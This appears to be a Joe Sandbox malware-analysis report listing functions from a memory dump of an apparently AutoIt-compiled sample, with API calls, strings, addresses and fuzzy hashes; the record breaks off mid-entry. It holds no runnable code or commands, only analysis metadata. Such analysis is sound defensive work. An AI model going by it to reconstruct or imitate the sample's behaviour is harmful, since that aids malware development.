SendMessageW.USER32(?,00001061,?,0000000F), ref: 007639F4

Strings

SysListView32, xrefs: 007638F7

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 5c7dcfc4952fdc0402e8fbca96f5d5dd2ce03124b1360d96417510374086a4bd
Instruction ID: b19383b339d33875891d6c9d52597726938d4ef7b59656340d169247639685a7
Opcode Fuzzy Hash: 5c7dcfc4952fdc0402e8fbca96f5d5dd2ce03124b1360d96417510374086a4bd
Instruction Fuzzy Hash: 6441D871A00319ABEF219F64CC49FEA77A9EF08354F10016AF955E7281D7B99D80CB94

Function 006F2D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006F2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 006F2D53
_ValidateLocalCookies.LIBCMT ref: 006F2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 006F2E0C
_ValidateLocalCookies.LIBCMT ref: 006F2E61

Strings

&Ho, xrefs: 006F2DFE, 006F2E07, 006F2E18
csm, xrefs: 006F2DF6

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &Ho$csm
API String ID: 1170836740-2077702024
Opcode ID: f6a94c6f19235291afb56e7521eb9cc2da098255eacefc04e7aa7ffc6c5fd22d
Instruction ID: f703c9eea8bb3f9fb39bf99ab3fd6a378596394a0355c0b63e31ddac373f0123
Opcode Fuzzy Hash: f6a94c6f19235291afb56e7521eb9cc2da098255eacefc04e7aa7ffc6c5fd22d
Instruction Fuzzy Hash: F141A434A0021EABCF10DF68C855AEEBBB6BF45354F148155EA14AB392D7359A11CFD0

Function 0073C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0073C913

Strings

question, xrefs: 0073C8CC
blank, xrefs: 0073C895
info, xrefs: 0073C8B4
warning, xrefs: 0073C8FC
stop, xrefs: 0073C8E4

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 08e135b5ef8f20f1f7049caa3c0956f4cb09f55a839453ff335c4f3606bd45b9
Instruction ID: 7719464671d4327051e223bf23474e459e5ed616b19606c50cd7e6a43706e579
Opcode Fuzzy Hash: 08e135b5ef8f20f1f7049caa3c0956f4cb09f55a839453ff335c4f3606bd45b9
Instruction Fuzzy Hash: D511EB3268930ABEBB029B55AC82DAB779CDF15754F11006EF500B6183EBAD7F005368

Function 0073ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0073ED2A
_wcslen.LIBCMT ref: 0073ED3B
_wcslen.LIBCMT ref: 0073ED79
_wcslen.LIBCMT ref: 0073EDAF
_wcslen.LIBCMT ref: 0073EDDF
_wcslen.LIBCMT ref: 0073EDEF
_wcslen.LIBCMT ref: 0073EE2B
_wcslen.LIBCMT ref: 0073EE5A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: e4b8644315091cb30925ac25193e0e5a6c09641022a926cd9cf728660350de70
Instruction ID: 953233d71ce4e2f53a67f8cd337d2b747e19839fe56707d770a17ad22f643e5b
Opcode Fuzzy Hash: e4b8644315091cb30925ac25193e0e5a6c09641022a926cd9cf728660350de70
Instruction Fuzzy Hash: 9D41B065D1021C75DB51EBB4C88A9DFB3AAAF45700F40846AF618E3162FB38E345C3E9

Function 006EF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0072682C,00000004,00000000,00000000), ref: 006EF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0072682C,00000004,00000000,00000000), ref: 0072F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0072682C,00000004,00000000,00000000), ref: 0072F454

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 184ced469cb754abed815b45902d6965275a994cd9434f4cb57d7512b3803563
Instruction ID: 062bb6544e084ecf765a34ef74093c6220656b5b4e65e697ae4fde4e97b97505
Opcode Fuzzy Hash: 184ced469cb754abed815b45902d6965275a994cd9434f4cb57d7512b3803563
Instruction Fuzzy Hash: 8F412A302197C0BBC7399B2AD88877A7BA3AB46310F15843DF0C757663C679A881CB51

Function 00762D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00762D1B
GetDC.USER32(00000000), ref: 00762D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00762D2E
ReleaseDC.USER32(00000000,00000000), ref: 00762D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00762D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00762D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00765A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00762DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00762DE1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 2eca772ffb24327bd19ee26f9e20a0da3daa88bd3f8c08ae26a0a95bf0d7b13c
Instruction ID: e59e62a9a3103ee56d2bdecc53e4818e11792e9de70ddbf83036de619ca0352e
Opcode Fuzzy Hash: 2eca772ffb24327bd19ee26f9e20a0da3daa88bd3f8c08ae26a0a95bf0d7b13c
Instruction Fuzzy Hash: F5319172201614BFEB154F50CC49FFB3BADEF09715F044055FE499A192C6B99C41CBA8

Function 00735622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00735637
_memcmp.LIBVCRUNTIME ref: 00735659
_memcmp.LIBVCRUNTIME ref: 00735671
_memcmp.LIBVCRUNTIME ref: 00735684
_memcmp.LIBVCRUNTIME ref: 0073569E
_memcmp.LIBVCRUNTIME ref: 007356B1
_memcmp.LIBVCRUNTIME ref: 007356C9
_memcmp.LIBVCRUNTIME ref: 007356E4

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f8a383b01382925de88b3a6bec6e558427d412a982814cdc32fd625fbda12b39
Instruction ID: a3821fdb972465b6239d3089ef810889410c7ee1e6a05f45d263ee81356c419d
Opcode Fuzzy Hash: f8a383b01382925de88b3a6bec6e558427d412a982814cdc32fd625fbda12b39
Instruction Fuzzy Hash: C92195F2644A19F7F21456209D93FBA235EAF217C4F840024FE059A586FB28ED10C2E9

Function 00754FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00755007
NULL Pointer assignment, xrefs: 0075502E, 00755383

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 0206b068c864b8d7565c498dfc70fded65e408cacdcee672a5c53d027b7a3521
Instruction ID: c35b2652cbaf4d0dc1c6a0f84f1a077113bc1f6baf5f659c0d7a13d13f336851
Opcode Fuzzy Hash: 0206b068c864b8d7565c498dfc70fded65e408cacdcee672a5c53d027b7a3521
Instruction Fuzzy Hash: 7ED1D671A0060A9FDF10CFA8C891BEEB7B5BF48354F148069ED15AB281E7B4DD49CB90

Function 00711522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,007117FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 007115CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,007117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00711651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,007117FB,?,007117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 007116E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,007117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 007116FB

Part of subcall function 00703820: RtlAllocateHeap.NTDLL(00000000,?,007A1444,?,006EFDF5,?,?,006DA976,00000010,007A1440,006D13FC,?,006D13C6,?,006D1129), ref: 00703852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,007117FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00711777
__freea.LIBCMT ref: 007117A2
__freea.LIBCMT ref: 007117AE

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: aab147aaecb947bb0a71e2b8c7b8681f88a8f495e400caf70a91402220c61039
Instruction ID: d2d2d582cccc64d57dd6f074ab0d7af80b43fb83db76196ec2c143f09337c0c8
Opcode Fuzzy Hash: aab147aaecb947bb0a71e2b8c7b8681f88a8f495e400caf70a91402220c61039
Instruction Fuzzy Hash: 6191A571E102169ADB218E78CC45AEE7BB69F49710F984659EA01EF2C1DB3DDD80C760

Function 00754523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00754648
VariantInit.OLEAUT32(?), ref: 00754749
VariantClear.OLEAUT32(?), ref: 00754753
VariantClear.OLEAUT32(?), ref: 007547B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 007545D8, 00754706, 007547BE
Incorrect Object type in FOR..IN loop, xrefs: 0075472C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 21829483e59f466644a3dd483689a630f67c9efc7a972e4032658ac6fefdda41
Instruction ID: 4312fbc68a478a746e81e2f87e755001f8efa236fbb38830d26e8f835f4e9a57
Opcode Fuzzy Hash: 21829483e59f466644a3dd483689a630f67c9efc7a972e4032658ac6fefdda41
Instruction Fuzzy Hash: EE91A471A00219ABDF24CFA5CC44FEE7BB8EF45715F108559F905AB280D7B89989CFA0

Function 00741187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0074125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00741284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 007412A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 007412D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0074135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 007413C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00741430

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 6574b68f10876c1e48cb1dd31a85b3af0d2b2be96a3f76e1d94924ba27f77129
Instruction ID: a2317020f907cf3f7b95684436d4509797e82e16ea7a1fde8206d1cb2cd6df47
Opcode Fuzzy Hash: 6574b68f10876c1e48cb1dd31a85b3af0d2b2be96a3f76e1d94924ba27f77129
Instruction Fuzzy Hash: D391F475A00219DFDB01EF98C884BBE77B5FF44324F548029EA51EB291D7BCA981CB94

Function 006E948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 16c06dcb0ebd52a45c32db97c2e5b955270900eabe12ec971a41447f058989b0
Instruction ID: 19f580b0c245ad83f8e8d802c037397c12a892cf10e1bf49b0ef69849a9c9685
Opcode Fuzzy Hash: 16c06dcb0ebd52a45c32db97c2e5b955270900eabe12ec971a41447f058989b0
Instruction Fuzzy Hash: AA914671D01259EFCB15CFAACC84AEEBBB9FF48320F148049E516B7251D378A942CB60

Function 00753947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0075396B
CharUpperBuffW.USER32(?,?), ref: 00753A7A
_wcslen.LIBCMT ref: 00753A8A
VariantClear.OLEAUT32(?), ref: 00753C1F

Part of subcall function 00740CDF: VariantInit.OLEAUT32(00000000), ref: 00740D1F
Part of subcall function 00740CDF: VariantCopy.OLEAUT32(?,?), ref: 00740D28
Part of subcall function 00740CDF: VariantClear.OLEAUT32(?), ref: 00740D34

Strings

Incorrect Parameter format, xrefs: 007539A6, 00753BA1
AUTOIT.ERROR, xrefs: 00753A80, 00753A85

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: a7cbad24f4df9ae44887431e5a47fd727101c57ee977313d44e3ca3931166d54
Instruction ID: 5d284730851b6570eed9cfbeeef0dfbfff5b826238345ecd082dbe18555951bd
Opcode Fuzzy Hash: a7cbad24f4df9ae44887431e5a47fd727101c57ee977313d44e3ca3931166d54
Instruction Fuzzy Hash: B491AE746083059FC704DF24C48086AB7E5FF88355F04892EF8899B361DB75EE09CB92

Function 00754BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0073000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?,?,0073035E), ref: 0073002B
Part of subcall function 0073000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?), ref: 00730046
Part of subcall function 0073000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?,?), ref: 00730054
Part of subcall function 0073000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0072FF41,80070057,?), ref: 00730064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00754C51
_wcslen.LIBCMT ref: 00754D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00754DCF
CoTaskMemFree.OLE32(?), ref: 00754DDA

Strings

NULL Pointer assignment, xrefs: 00754E23, 00754E52

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 8b1c8e9490ddc2d60c37645ed2d40e2a8827f06902028f16f7fc78fa5ab2ac12
Instruction ID: d78b41c4609d6784e53fbdf8502645fcea7b105df21da408e2e9b59d9c0b5954
Opcode Fuzzy Hash: 8b1c8e9490ddc2d60c37645ed2d40e2a8827f06902028f16f7fc78fa5ab2ac12
Instruction Fuzzy Hash: F1912671D0021DEFDF14DFA4D891AEEB7B9BF08314F10856AE915A7241DB749A48CFA0

Function 007620FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00762183
GetMenuItemCount.USER32(00000000), ref: 007621B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 007621DD
_wcslen.LIBCMT ref: 00762213
GetMenuItemID.USER32(?,?), ref: 0076224D
GetSubMenu.USER32(?,?), ref: 0076225B

Part of subcall function 00733A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00733A57
Part of subcall function 00733A3D: GetCurrentThreadId.KERNEL32 ref: 00733A5E
Part of subcall function 00733A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,007325B3), ref: 00733A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 007622E3

Part of subcall function 0073E97B: Sleep.KERNEL32 ref: 0073E9F3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: b72c2e56e178b1f1b04402a5caa4a7c07b2482b6431fa0ce05d3c06c5d9eb137
Instruction ID: efdd7c7be3d1e1bba6bee4cdc73c57dc5c410da23ee467c2bff943000afaf806
Opcode Fuzzy Hash: b72c2e56e178b1f1b04402a5caa4a7c07b2482b6431fa0ce05d3c06c5d9eb137
Instruction Fuzzy Hash: 02719F35E00605AFCB54DF64C845AAEB7F6FF88320F158459E817EB352DB78AD428B90

Function 0073AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0073AEF9
GetKeyboardState.USER32(?), ref: 0073AF0E
SetKeyboardState.USER32(?), ref: 0073AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0073AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0073AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0073AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0073B020

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: c6b0677d31a133b0d5b3dc77feeb8cfc124040251a42e2102a794be778532668
Instruction ID: 16a6b96ed0d673094e6aa13202e88f6780cdc55d6e41ce18a1dd90e1f356f48a
Opcode Fuzzy Hash: c6b0677d31a133b0d5b3dc77feeb8cfc124040251a42e2102a794be778532668
Instruction Fuzzy Hash: 9E5182A06047D63DFB364234C84ABBBBEA95B06304F088589E2D9594D3D3DDEDC8D751

Function 0073ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0073AD19
GetKeyboardState.USER32(?), ref: 0073AD2E
SetKeyboardState.USER32(?), ref: 0073AD8F
